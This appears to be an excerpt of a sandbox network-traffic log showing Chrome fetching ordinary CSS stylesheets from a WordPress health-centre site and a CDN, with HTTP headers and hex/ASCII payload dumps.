2024-04-24 12:44:13 UTC	568	OUT	GET /wp-content/themes/vpchc/style.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:13 GMT Content-Type: text/css Content-Length: 1250 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:33 GMT Vary: Accept-Encoding ETag: "64f5a125-4e2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:13 UTC	1250	IN	Data Raw: 2f 2a 0a 20 20 20 20 54 68 65 6d 65 20 4e 61 6d 65 3a 20 20 20 20 20 20 20 20 20 56 50 43 48 43 0a 20 20 20 20 41 75 74 68 6f 72 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 73 69 67 6e 20 4f 6e 20 54 61 70 0a 20 20 20 20 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 20 20 20 20 20 20 20 41 20 57 6f 72 64 50 72 65 73 73 20 73 74 61 72 74 65 72 20 74 68 65 6d 65 20 62 61 73 65 64 20 6f 6e 20 42 6f 6f 74 73 74 72 61 70 20 34 0a 20 20 20 20 56 65 72 73 69 6f 6e 3a 20 20 20 20 20 20 20 20 20 20 20 20 35 2e 31 2e 30 0a 20 20 20 20 4c 69 63 65 6e 73 65 3a 20 20 20 20 20 20 20 20 20 20 20 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 20 20 20 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 20 20 20 20 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f Data Ascii: /* Theme Name: VPCHC Author: Design On Tap Description: A WordPress starter theme based on Bootstrap 4 Version: 5.1.0 License: MIT License License URI: http://www.opensource.o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	583	OUT	GET /wp-includes/css/dist/block-library/style.min.css HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:13 GMT Content-Type: text/css Content-Length: 110147 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Wed, 24 Jan 2024 19:02:28 GMT Vary: Accept-Encoding ETag: "65b15ec4-1ae43" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:13 UTC	15966	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
2024-04-24 12:44:13 UTC	16384	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e Data Ascii: ackground-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.
2024-04-24 12:44:14 UTC	16384	IN	Data Raw: 65 64 2d 69 6d 61 67 65 73 29 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 20 31 65 6d 20 31 65 6d 20 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 65 6d 29 7d 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 32 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c Data Ascii: ed-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gal
2024-04-24 12:44:14 UTC	16384	IN	Data Raw: 2f 32 30 30 30 2f 73 76 67 22 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 22 20 63 79 3d 22 35 30 22 20 72 3d 22 35 30 22 2f 3e 3c 2f 73 76 67 3e 27 29 3b 6d 61 73 6b 2d 6d 6f 64 65 3a 61 6c 70 68 61 3b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 6d 61 73 6b 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 73 6b 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 6d 61 73 6b 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 6d 61 73 6b 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 3a 77 68 65 72 65 28 2e 68 61 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 Data Ascii: /2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color
2024-04-24 12:44:14 UTC	16384	IN	Data Raw: 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 73 75 62 6d 65 6e 75 2d 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 2e 36 65 6d 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 70 61 67 65 2d 6c 69 73 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6c 6f 73 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 Data Ascii: navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-cont
2024-04-24 12:44:14 UTC	16384	IN	Data Raw: 6c 69 67 6e 6c 65 66 74 2c 2e 61 6c 69 67 6e 72 69 67 68 74 29 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 20 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 5f 5f 61 72 72 6f 77 2d 70 72 65 76 69 6f 75 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 63 68 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 20 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 69 6e 6b 5f 5f 61 72 72 6f 77 2d 70 72 65 76 69 6f 75 73 3a 6e 6f 74 28 2e 69 73 2d 61 72 72 6f 77 2d 63 68 65 76 72 6f 6e 29 7b 74 72 61 6e 73 Data Ascii: lignleft,.alignright){width:100%}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){trans
2024-04-24 12:44:14 UTC	12261	IN	Data Raw: 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 62 65 68 61 6e 63 65 7b 63 6f 6c 6f 72 3a 23 30 37 35 37 66 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 2e 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 63 6f 64 65 70 65 6e 7b 63 6f 6c 6f 72 3a 23 31 65 31 66 32 36 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 2e 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 64 65 76 69 61 6e 74 61 72 74 7b 63 6f 6c 6f 72 3a 23 30 32 65 34 39 62 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 2e 77 70 2d 73 6f 63 69 61 6c Data Ascii: wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	605	OUT	GET /wp-content/plugins/wp-bootstrap-blocks/build/style-index.css?ver=5.2.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	342	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:13 GMT Content-Type: text/css Content-Length: 69 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:04:37 GMT ETag: "65ef39a5-45" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:13 UTC	69	IN	Data Raw: 2e 77 70 2d 62 6f 6f 74 73 74 72 61 70 2d 62 6c 6f 63 6b 73 2d 72 6f 77 2e 72 6f 77 2e 61 6c 69 67 6e 66 75 6c 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 0a Data Ascii: .wp-bootstrap-blocks-row.row.alignfull{margin-left:0;margin-right:0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	614	OUT	GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/css/build.css?ver=1.1.3 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:13 GMT Content-Type: text/css Content-Length: 10417 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 09:50:51 GMT Vary: Accept-Encoding ETag: "6627847b-28b1" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:13 UTC	10417	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 53 74 79 6c 69 6e 67 20 66 6f 72 20 47 75 74 65 6e 62 65 72 67 20 70 6f 73 74 20 6c 61 79 6f 75 74 20 62 6c 6f 63 6b 73 0d 0a 20 2a 2f 0d 0a 0d 0a 2a 20 7b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 76 2d 63 6c 65 61 72 66 69 78 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 76 2d 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d Data Ascii: /** * Styling for Gutenberg post layout blocks / { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}.cv-clearfix{ display: block;}.cv-clearfix:after{ content: ""; display: block;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	629	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/css/valley-pro-calculator-public.css?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	342	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:13 GMT Content-Type: text/css Content-Length: 98 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 12:43:21 GMT ETag: "65eefc69-62" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:13 UTC	98	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 73 68 6f 75 6c 64 20 62 65 0a 20 2a 20 69 6e 63 6c 75 64 65 64 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0a 20 2a 2f Data Ascii: /** * All of the CSS for your public-facing functionality should be * included in this file. */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49741	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	605	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/css/main.css?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:13 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:13 GMT Content-Type: text/css Content-Length: 2787 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 12:43:21 GMT Vary: Accept-Encoding ETag: "65eefc69-ae3" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:13 UTC	2787	IN	Data Raw: 62 6f 64 79 7b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6d 61 72 67 69 6e 3a 30 7d 63 6f 64 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 6f 75 72 63 65 2d 63 6f 64 65 2d 70 72 6f 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 43 6f 75 72 69 65 72 20 4e 65 77 2c 6d 6f 6e 6f 73 70 61 63 65 7d 2e 41 70 70 5f 41 70 70 5f 5f 75 6e 48 71 32 7b 74 65 78 74 2d 61 6c Data Ascii: body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,sans-serif;margin:0}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace}.App_App__unHq2{text-al

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49753	151.101.193.229	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:13 UTC	436	OUT	GET /jquery.slick/1.5.1/slick-theme.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:14 UTC	708	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3023 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 ETag: W/"bcf-QQO0fEqql9Fm2x2ag7nurVU62ZQ" Accept-Ranges: bytes Age: 400613 Date: Wed, 24 Apr 2024 12:44:14 GMT X-Served-By: cache-fra-eddf8230022-FRA, cache-lax-kwhp1940111-LAX X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 40 63 68 61 72 73 65 74 20 27 55 54 46 2d 38 27 3b 0a 2f 2a 20 53 6c 69 64 65 72 20 2a 2f 0a 2e 73 6c 69 63 6b 2d 6c 6f 61 64 69 6e 67 20 2e 73 6c 69 63 6b 2d 6c 69 73 74 0a 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 20 75 72 6c 28 27 2e 2f 61 6a 61 78 2d 6c 6f 61 64 65 72 2e 67 69 66 27 29 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 0a 2f 2a 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 0a 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 73 6c 69 63 6b 27 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 0a 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2f 66 6f 6e 74 Data Ascii: @charset 'UTF-8';/* Slider /.slick-loading .slick-list{ background: #fff url('./ajax-loader.gif') center center no-repeat;}/ Icons */@font-face{ font-family: 'slick'; font-weight: normal; font-style: normal; src: url('./font
2024-04-24 12:44:14 UTC	1378	IN	Data Raw: 74 68 69 6e 67 3a 20 67 72 61 79 73 63 61 6c 65 3b 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 0a 7b 0a 20 20 20 20 6c 65 66 74 3a 20 2d 32 35 70 78 3b 0a 7d 0a 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 73 6c 69 63 6b 2d 70 72 65 76 0a 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 2d 32 35 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 7d 0a 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 62 65 66 6f 72 65 0a 7b 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 e2 86 90 27 3b 0a 7d 0a 5b 64 69 72 3d 27 72 74 6c 27 5d 20 2e 73 6c 69 63 6b 2d 70 72 65 76 3a 62 65 66 6f 72 65 0a 7b 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 27 e2 86 92 27 3b 0a 7d 0a 0a 2e 73 6c 69 63 6b 2d 6e 65 78 74 0a 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 2d 32 35 70 78 3b 0a 7d 0a 5b 64 69 72 3d 27 Data Ascii: thing: grayscale;}.slick-prev{ left: -25px;}[dir='rtl'] .slick-prev{ right: -25px; left: auto;}.slick-prev:before{ content: '';}[dir='rtl'] .slick-prev:before{ content: '';}.slick-next{ right: -25px;}[dir='
